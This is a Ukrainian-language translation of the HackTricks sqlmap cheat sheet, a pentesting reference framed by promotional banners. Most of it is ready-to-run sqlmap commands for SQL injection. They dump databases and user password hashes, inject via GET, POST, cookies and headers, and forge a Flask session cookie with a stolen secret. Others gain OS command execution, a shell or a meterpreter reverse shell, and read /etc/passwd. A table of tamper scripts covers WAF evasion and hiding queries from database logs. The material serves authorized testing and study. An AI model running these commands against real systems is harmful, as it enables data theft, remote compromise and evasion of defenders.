SQLMap - Cheetsheat

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Миттєве налаштування для оцінки вразливостей та тестування на проникнення. Виконуйте повний пентест з будь-якого місця за допомогою 20+ інструментів та функцій, які охоплюють реконструкцію та звітність. Ми не замінюємо пентестерів - ми розробляємо власні інструменти, модулі виявлення та експлуатації, щоб дати їм можливість краще досліджувати, вибивати оболонки та веселитися.

Основні аргументи для SQLmap

Загальні

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Отримання інформації

Внутрішній

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

Дані БД

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Місце ін'єкції

Захоплення з Burp/ZAP

Захопіть запит та створіть файл req.txt

sqlmap -r req.txt --current-user

Внедрення у запит GET

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Внедрення запиту POST

sqlmap -u "http://example.com" --data "username=*&password=*"

Впровадження в заголовки та інші методи HTTP

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Вказати рядок, коли ін'єкція вдалий

--string="string_showed_when_TRUE"

Eval

Sqlmap дозволяє використовувати -e або --eval для обробки кожного полезного навантаження перед його відправленням за допомогою однорядкового коду Python. Це дуже зручно і швидко обробляти полезне навантаження перед його відправленням. У наступному прикладі сеанс cookie flask підписаний flask з відомим секретом перед відправленням:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Оболонка

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Прочитати файл

--file-read=/etc/passwd

Переглядайте веб-сайт за допомогою SQLmap та автоматично використовуйте експлойти

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Вторинна ін'єкція

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Прочитайте цей пост** про те, як виконувати прості та складні ін'єкції другого порядку з sqlmap.**

Налаштування Ін'єкції

Встановлення суфіксу

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Префікс

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Допомога у пошуку булевої ін'єкції

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Змінювач

Пам'ятайте, що ви можете створити свій власний змінювач на Python і це дуже просто. Приклад змінювача можна знайти на сторінці Вторинної ін'єкції тут.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperОпис

apostrophemask.py

Замінює апострофний символ на його повний широкий аналог у UTF-8

apostrophenullencode.py

Замінює апострофний символ на його недопустимий подвійний код Юнікоду

appendnullbyte.py

Додає закодований символ NULL байту в кінці навантаження

base64encode.py

Кодує у Base64 всі символи у вказаному навантаженні

between.py

Замінює оператор більше ('>') на 'NOT BETWEEN 0 AND #'

bluecoat.py

Замінює пробіл після SQL виразу на дійсний випадковий пустий символ. Потім замінює символ '=' на оператор LIKE

chardoubleencode.py

Подвійно кодує у URL всі символи у вказаному навантаженні (не обробляючи вже закодовані)

commalesslimit.py

Замінює випадки типу 'LIMIT M, N' на 'LIMIT N OFFSET M'

commalessmid.py

Замінює випадки типу 'MID(A, B, C)' на 'MID(A FROM B FOR C)'

concat2concatws.py

Замінює випадки типу 'CONCAT(A, B)' на 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'

charencode.py

Кодує у URL всі символи у вказаному навантаженні (не обробляючи вже закодовані)

charunicodeencode.py

Кодує символи, які не закодовані у Юнікоді, у вказаному навантаженні (не обробляючи вже закодовані). "%u0022"

charunicodeescape.py

Кодує символи, які не закодовані у Юнікоді, у вказаному навантаженні (не обробляючи вже закодовані). "\u0022"

equaltolike.py

Замінює всі входження оператора рівності ('=') на оператор 'LIKE'

escapequotes.py

Екранує апострофи (' та ")

greatest.py

Замінює оператор більше ('>') на еквівалент 'GREATEST'

halfversionedmorekeywords.py

Додає версійний коментар MySQL перед кожним ключовим словом

ifnull2ifisnull.py

Замінює випадки типу 'IFNULL(A, B)' на 'IF(ISNULL(A), B, A)'

modsecurityversioned.py

Обгортає повний запит версійним коментарем

modsecurityzeroversioned.py

Обгортає повний запит коментарем з нульовою версією

multiplespaces.py

Додає кілька пробілів навколо ключових слів SQL

nonrecursivereplacement.py

Замінює попередньо визначені ключові слова SQL на відповідні представлення для заміни (наприклад, .replace("SELECT", "")) фільтри

percentage.py

Додає знак відсотка ('%') перед кожним символом

overlongutf8.py

Конвертує всі символи у вказаному навантаженні (не обробляючи вже закодовані)

randomcase.py

Замінює кожен символ ключового слова на випадкове значення регістру

randomcomments.py

Додає випадкові коментарі до ключових слів SQL

securesphere.py

Додає спеціально створений рядок

sp_password.py

Додає 'sp_password' в кінець навантаження для автоматичної затемнення від журналів DBMS

space2comment.py

Замінює пробіл (' ') на коментарі

space2dash.py

Замінює пробіл (' ') на тире-коментар ('--') за яким слідує випадковий рядок та новий рядок ('\n')

space2hash.py

Замінює пробіл (' ') на символ решітки ('#') за яким слідує випадковий рядок та новий рядок ('\n')

space2morehash.py

Замінює пробіл (' ') на символ решітки ('#') за яким слідує випадковий рядок та новий рядок ('\n')

space2mssqlblank.py

Замінює пробіл (' ') на випадковий пустий символ з дійсного набору альтернативних символів

space2mssqlhash.py

Замінює пробіл (' ') на символ решітки ('#') за яким слідує новий рядок ('\n')

space2mysqlblank.py

Замінює пробіл (' ') на випадковий пустий символ з дійсного набору альтернативних символів

space2mysqldash.py

Замінює пробіл (' ') на тире-коментар ('--') за яким слідує новий рядок ('\n')

space2plus.py

Замінює пробіл (' ') на плюс ('+')

space2randomblank.py

Замінює пробіл (' ') на випадковий пустий символ з дійсного набору альтернативних символів

symboliclogical.py

Замінює логічні оператори AND та OR на їх символьні еквіваленти (&& та

unionalltounion.py

Замінює UNION ALL SELECT на UNION SELECT

unmagicquotes.py

Замінює символ апострофа (') на комбінацію багатобайтового комбо %bf%27 разом з загальним коментарем в кінці (для правильної роботи)

uppercase.py

Замінює кожен символ ключового слова на верхній регістр 'INSERT'

varnish.py

Додає HTTP заголовок 'X-originating-IP'

versionedkeywords.py

Обгортає кожне не-функціональне ключове слово коментарем MySQL з версією

versionedmorekeywords.py

Обгортає кожне ключове слово коментарем MySQL з версією

xforwardedfor.py

Додає фальшивий HTTP заголовок 'X-Forwarded-For'

Миттєве налаштування для оцінки вразливостей та тестування на проникнення. Виконайте повний тест на проникнення з будь-якого місця за допомогою 20+ інструментів та функцій, які охоплюють реконструкцію та звітність. Ми не замінюємо тестувальників на проникнення - ми розробляємо власні інструменти, модулі виявлення та експлуатації, щоб дати їм можливість краще досліджувати, вибивати оболонки та насолоджуватися.

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated